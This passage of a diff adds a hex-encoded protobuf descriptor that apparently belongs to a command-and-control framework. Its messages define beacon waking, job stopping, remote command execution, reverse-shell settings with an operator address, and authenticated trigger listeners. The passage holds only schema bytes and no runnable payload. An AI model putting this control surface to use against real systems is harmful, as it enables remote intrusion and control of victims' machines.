0x6d, 0x65, 0x12, + 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, + 0x56, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x4b, 0x0a, 0x0f, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, + 0x63, 0x61, 0x74, 0x65, 0x73, 0x52, 0x65, 0x71, 0x12, 0x28, 0x0a, 0x0f, 0x43, 0x61, 0x74, 0x65, + 0x67, 0x6f, 0x72, 0x79, 0x46, 0x69, 0x6c, 0x74, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x0f, 0x43, 0x61, 0x74, 0x65, 0x67, 0x6f, 0x72, 0x79, 0x46, 0x69, 0x6c, 0x74, 0x65, + 0x72, 0x73, 0x12, 0x0e, 0x0a, 0x02, 0x43, 0x4e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, + 0x43, 0x4e, 0x22, 0xdb, 0x01, 0x0a, 0x0f, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, + 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x12, 0x0e, 0x0a, 0x02, 0x43, 0x4e, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x02, 0x43, 0x4e, 0x12, 0x22, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x56, 0x61, + 0x6c, 0x69, 0x64, 0x69, 0x74, 0x79, 0x53, 0x74, 0x61, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0d, 0x56, 0x61, 0x6c, 0x69, 0x64, 0x69, 0x74, 0x79, 0x53, 0x74, 0x61, 0x72, 0x74, + 0x12, 0x26, 0x0a, 0x0e, 0x56, 0x61, 0x6c, 0x69, 0x64, 0x69, 0x74, 0x79, 0x45, 0x78, 0x70, 0x69, + 0x72, 0x79, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x56, 0x61, 0x6c, 0x69, 0x64, 0x69, + 0x74, 0x79, 0x45, 0x78, 0x70, 0x69, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, + 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x22, 0x0a, 0x0c, + 0x4b, 0x65, 0x79, 0x41, 0x6c, 0x67, 0x6f, 0x72, 0x69, 0x74, 0x68, 0x6d, 0x18, 0x06, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0c, 0x4b, 0x65, 0x79, 0x41, 0x6c, 0x67, 0x6f, 0x72, 0x69, 0x74, 0x68, 0x6d, + 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, + 0x22, 0x40, 0x0a, 0x0f, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x65, 0x49, + 0x6e, 0x66, 0x6f, 0x12, 0x2d, 0x0a, 0x04, 0x69, 0x6e, 0x66, 0x6f, 0x18, 0x01, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x65, 0x72, + 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x52, 0x04, 0x69, 0x6e, + 0x66, 0x6f, 0x22, 0xe4, 0x01, 0x0a, 0x18, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, + 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x44, 0x61, 0x74, 0x61, 0x12, + 0x0e, 0x0a, 0x02, 0x43, 0x4e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x43, 0x4e, 0x12, + 0x22, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, + 0x69, 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x56, 0x61, 0x6c, 0x69, 0x64, 0x69, 0x74, 0x79, 0x53, + 0x74, 0x61, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x56, 0x61, 0x6c, 0x69, + 0x64, 0x69, 0x74, 0x79, 0x53, 0x74, 0x61, 0x72, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x56, 0x61, 0x6c, + 0x69, 0x64, 0x69, 0x74, 0x79, 0x45, 0x78, 0x70, 0x69, 0x72, 0x79, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0e, 0x56, 0x61, 0x6c, 0x69, 0x64, 0x69, 0x74, 0x79, 0x45, 0x78, 0x70, 0x69, 0x72, + 0x79, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4b, 0x65, 0x79, 0x41, 0x6c, 0x67, 0x6f, + 0x72, 0x69, 0x74, 0x68, 0x6d, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4b, 0x65, 0x79, + 0x41, 0x6c, 0x67, 0x6f, 0x72, 0x69, 0x74, 0x68, 0x6d, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, + 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x22, 0x52, 0x0a, 0x18, 0x43, 0x65, 0x72, + 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x74, + 0x79, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x36, 0x0a, 0x04, 0x69, 0x6e, 0x66, 0x6f, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, + 0x69, 0x74, 0x79, 0x44, 0x61, 0x74, 0x61, 0x52, 0x04, 0x69, 0x6e, 0x66, 0x6f, 0x22, 0x2e, 0x0a, + 0x10, 0x57, 0x61, 0x6b, 0x65, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x29, 0x0a, + 0x0d, 0x53, 0x74, 0x6f, 0x70, 0x4a, 0x6f, 0x62, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x18, + 0x0a, 0x07, 0x4a, 0x6f, 0x62, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x07, 0x4a, 0x6f, 0x62, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xc3, 0x02, 0x0a, 0x0a, 0x45, 0x78, 0x65, + 0x63, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x10, 0x0a, 0x03, 0x43, 0x6d, 0x64, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x43, 0x6d, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x67, + 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x67, 0x73, 0x12, 0x18, 0x0a, + 0x07, 0x57, 0x6f, 0x72, 0x6b, 0x64, 0x69, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, + 0x57, 0x6f, 0x72, 0x6b, 0x64, 0x69, 0x72, 0x12, 0x2f, 0x0a, 0x03, 0x45, 0x6e, 0x76, 0x18, 0x04, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x45, 0x78, 0x65, 0x63, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x2e, 0x45, 0x6e, 0x76, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x52, 0x03, 0x45, 0x6e, 0x76, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x69, 0x6d, 0x65, + 0x6f, 0x75, 0x74, 0x4d, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x54, 0x69, 0x6d, + 0x65, 0x6f, 0x75, 0x74, 0x4d, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x50, 0x61, 0x74, 0x68, 0x4f, 0x76, + 0x65, 0x72, 0x72, 0x69, 0x64, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x50, 0x61, + 0x74, 0x68, 0x4f, 0x76, 0x65, 0x72, 0x72, 0x69, 0x64, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x48, 0x6f, + 0x6d, 0x65, 0x4f, 0x76, 0x65, 0x72, 0x72, 0x69, 0x64, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0c, 0x48, 0x6f, 0x6d, 0x65, 0x4f, 0x76, 0x65, 0x72, 0x72, 0x69, 0x64, 0x65, 0x12, 0x26, + 0x0a, 0x0e, 0x4d, 0x61, 0x78, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x42, 0x79, 0x74, 0x65, 0x73, + 0x18, 0x08, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0e, 0x4d, 0x61, 0x78, 0x4f, 0x75, 0x74, 0x70, 0x75, + 0x74, 0x42, 0x79, 0x74, 0x65, 0x73, 0x1a, 0x36, 0x0a, 0x08, 0x45, 0x6e, 0x76, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xe6, + 0x01, 0x0a, 0x12, 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x43, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, + 0x72, 0x41, 0x64, 0x64, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4f, 0x70, 0x65, + 0x72, 0x61, 0x74, 0x6f, 0x72, 0x41, 0x64, 0x64, 0x72, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x68, 0x65, + 0x6c, 0x6c, 0x50, 0x61, 0x74, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x68, + 0x65, 0x6c, 0x6c, 0x50, 0x61, 0x74, 0x68, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x68, 0x65, 0x6c, 0x6c, + 0x41, 0x72, 0x67, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x09, 0x53, 0x68, 0x65, 0x6c, + 0x6c, 0x41, 0x72, 0x67, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x44, 0x69, 0x61, 0x6c, 0x54, 0x69, 0x6d, + 0x65, 0x6f, 0x75, 0x74, 0x4d, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0d, 0x44, 0x69, + 0x61, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x4d, 0x73, 0x12, 0x32, 0x0a, 0x14, 0x4d, + 0x61, 0x78, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x4d, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x14, 0x4d, 0x61, 0x78, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4d, 0x73, 0x12, + 0x16, 0x0a, 0x06, 0x55, 0x73, 0x65, 0x54, 0x4c, 0x53, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x06, 0x55, 0x73, 0x65, 0x54, 0x4c, 0x53, 0x22, 0x97, 0x02, 0x0a, 0x14, 0x54, 0x72, 0x69, 0x67, + 0x67, 0x65, 0x72, 0x49, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x42, 0x69, 0x6e, 0x64, 0x69, 0x6e, 0x67, + 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x3c, 0x0a, 0x0a, 0x57, 0x61, 0x6b, 0x65, 0x42, 0x65, 0x61, 0x63, + 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x57, 0x61, 0x6b, 0x65, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x43, 0x6f, + 0x6e, 0x66, 0x69, 0x67, 0x48, 0x00, 0x52, 0x0a, 0x57, 0x61, 0x6b, 0x65, 0x42, 0x65, 0x61, 0x63, + 0x6f, 0x6e, 0x12, 0x33, 0x0a, 0x07, 0x53, 0x74, 0x6f, 0x70, 0x4a, 0x6f, 0x62, 0x18, 0x0b, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, + 0x74, 0x6f, 0x70, 0x4a, 0x6f, 0x62, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x48, 0x00, 0x52, 0x07, + 0x53, 0x74, 0x6f, 0x70, 0x4a, 0x6f, 0x62, 0x12, 0x2a, 0x0a, 0x04, 0x45, 0x78, 0x65, 0x63, 0x18, + 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x45, 0x78, 0x65, 0x63, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x48, 0x00, 0x52, 0x04, 0x45, + 0x78, 0x65, 0x63, 0x12, 0x42, 0x0a, 0x0c, 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x53, 0x68, + 0x65, 0x6c, 0x6c, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x53, 0x68, 0x65, 0x6c, + 0x6c, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x48, 0x00, 0x52, 0x0c, 0x52, 0x65, 0x76, 0x65, 0x72, + 0x73, 0x65, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x42, 0x08, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x22, 0xd9, 0x06, 0x0a, 0x12, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, + 0x50, 0x6f, 0x72, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, + 0x12, 0x22, 0x0a, 0x0c, 0x53, 0x68, 0x61, 0x72, 0x65, 0x64, 0x53, 0x65, 0x63, 0x72, 0x65, 0x74, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x53, 0x68, 0x61, 0x72, 0x65, 0x64, 0x53, 0x65, + 0x63, 0x72, 0x65, 0x74, 0x12, 0x55, 0x0a, 0x0d, 0x50, 0x65, 0x72, 0x43, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2f, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x2e, 0x50, 0x65, 0x72, 0x43, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0d, 0x50, 0x65, + 0x72, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x53, + 0x74, 0x72, 0x69, 0x63, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, 0x72, + 0x69, 0x63, 0x74, 0x12, 0x2a, 0x0a, 0x10, 0x41, 0x6c, 0x6c, 0x6f, 0x77, 0x65, 0x64, 0x43, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x49, 0x44, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x09, 0x52, 0x10, 0x41, + 0x6c, 0x6c, 0x6f, 0x77, 0x65, 0x64, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x44, 0x73, 0x12, + 0x26, 0x0a, 0x0e, 0x41, 0x6c, 0x6c, 0x6f, 0x77, 0x65, 0x64, 0x53, 0x6f, 0x75, 0x72, 0x63, 0x65, + 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0e, 0x41, 0x6c, 0x6c, 0x6f, 0x77, 0x65, 0x64, + 0x53, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x53, 0x65, 0x72, 0x76, 0x65, + 0x72, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x53, 0x65, 0x72, 0x76, 0x65, + 0x72, 0x49, 0x44, 0x12, 0x38, 0x0a, 0x07, 0x49, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x09, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x49, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x42, 0x69, 0x6e, + 0x64, 0x69, 0x6e, 0x67, 0x52, 0x07, 0x49, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x18, 0x0a, + 0x07, 0x57, 0x6f, 0x72, 0x6b, 0x65, 0x72, 0x73, 0x18, 0x14, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, + 0x57, 0x6f, 0x72, 0x6b, 0x65, 0x72, 0x73, 0x12, 0x30, 0x0a, 0x13, 0x4d, 0x61, 0x78, 0x43, 0x6c, + 0x6f, 0x63, 0x6b, 0x53, 0x6b, 0x65, 0x77, 0x53, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x18, 0x15, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x4d, 0x61, 0x78, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x53, 0x6b, + 0x65, 0x77, 0x53, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x12, 0x2a, 0x0a, 0x10, 0x52, 0x65, 0x70, + 0x6c, 0x61, 0x79, 0x54, 0x54, 0x4c, 0x53, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x18, 0x16, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x10, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x79, 0x54, 0x54, 0x4c, 0x53, 0x65, + 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x12, 0x28, 0x0a, 0x0f, 0x4d, 0x61, 0x78, 0x4d, 0x65, 0x73, 0x73, + 0x61, 0x67, 0x65, 0x42, 0x79, 0x74, 0x65, 0x73, 0x18, 0x17, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0f, + 0x4d, 0x61, 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x79, 0x74, 0x65, 0x73, 0x12, + 0x30, 0x0a, 0x13, 0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x52, 0x61, 0x74, 0x65, 0x50, 0x65, 0x72, + 0x53, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x18, 0x18, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x47, 0x6c, + 0x6f, 0x62, 0x61, 0x6c, 0x52, 0x61, 0x74, 0x65, 0x50, 0x65, 0x72, 0x53, 0x65, 0x63, 0x6f, 0x6e, + 0x64, 0x12, 0x3e, 0x0a, 0x1a, 0x50, 0x65, 0x72, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, 0x50, 0x65, 0x72, 0x4d, 0x69, 0x6e, 0x75, 0x74, 0x65, 0x18, + 0x19, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x1a, 0x50, 0x65, 0x72, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, 0x50, 0x65, 0x72, 0x4d, 0x69, 0x6e, 0x75, 0x74, + 0x65, 0x12, 0x2a, 0x0a, 0x10, 0x4d, 0x61, 0x78, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x79, 0x45, 0x6e, + 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x10, 0x4d, 0x61, 0x78, + 0x52, 0x65, 0x70, 0x6c, 0x61, 0x79, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x30, 0x0a, + 0x13, 0x4d, 0x61, 0x78, 0x52, 0x61, 0x74, 0x65, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x45, 0x6e, 0x74, + 0x72, 0x69, 0x65, 0x73, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x4d, 0x61, 0x78, 0x52, + 0x61, 0x74, 0x65, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, + 0x2a, 0x0a, 0x10, 0x48, 0x61, 0x6e, 0x64, 0x6c, 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, + 0x74, 0x4d, 0x73, 0x18, 0x1c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x10, 0x48, 0x61, 0x6e, 0x64, 0x6c, + 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x4d, 0x73, 0x1a, 0x40, 0x0a, 0x12, 0x50, + 0x65, 0x72, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, + 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x29, 0x0a, + 0x11, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x49, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x52, + 0x65, 0x71, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x62, 0x0a, 0x0e, 0x54, 0x72, 0x69, 0x67, + 0x67, 0x65, 0x72, 0x49, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, + 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, + 0x12, 0x3a, 0x0a, 0x08, 0x42, 0x69, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, + 0x69, 0x67, 0x67, 0x65, 0x72, 0x49, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x42, 0x69, 0x6e, 0x64, 0x69, + 0x6e, 0x67, 0x52, 0x08, 0x42, 0x69, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x4a, 0x0a, 0x16, + 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x44, 0x69, 0x73, 0x70, 0x61, 0x74, 0x63, 0x68, 0x54, + 0x61, 0x73, 0x6b, 0x52, 0x65, 0x71, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, + 0x54, 0x61, 0x73, 0x6b, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, + 0x54, 0x61, 0x73, 0x6b, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xc2, 0x01, 0x0a, 0x0e, 0x54, 0x72, 0x69, + 0x67, 0x67, 0x65, 0x72, 0x46, 0x69, 0x72, 0x65, 0x52, 0x65, 0x71, 0x12, 0x1e, 0x0a, 0x0a, 0x54, + 0x61, 0x72, 0x67, 0x65, 0x74, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x54, + 0x61, 0x72, 0x67, 0x65, 0x74, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x49, + 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x49, 0x6e, 0x74, + 0x65, 0x6e, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x53, 0x68, 0x61, 0x72, 0x65, 0x64, 0x53, 0x65, 0x63, + 0x72, 0x65, 0x74, 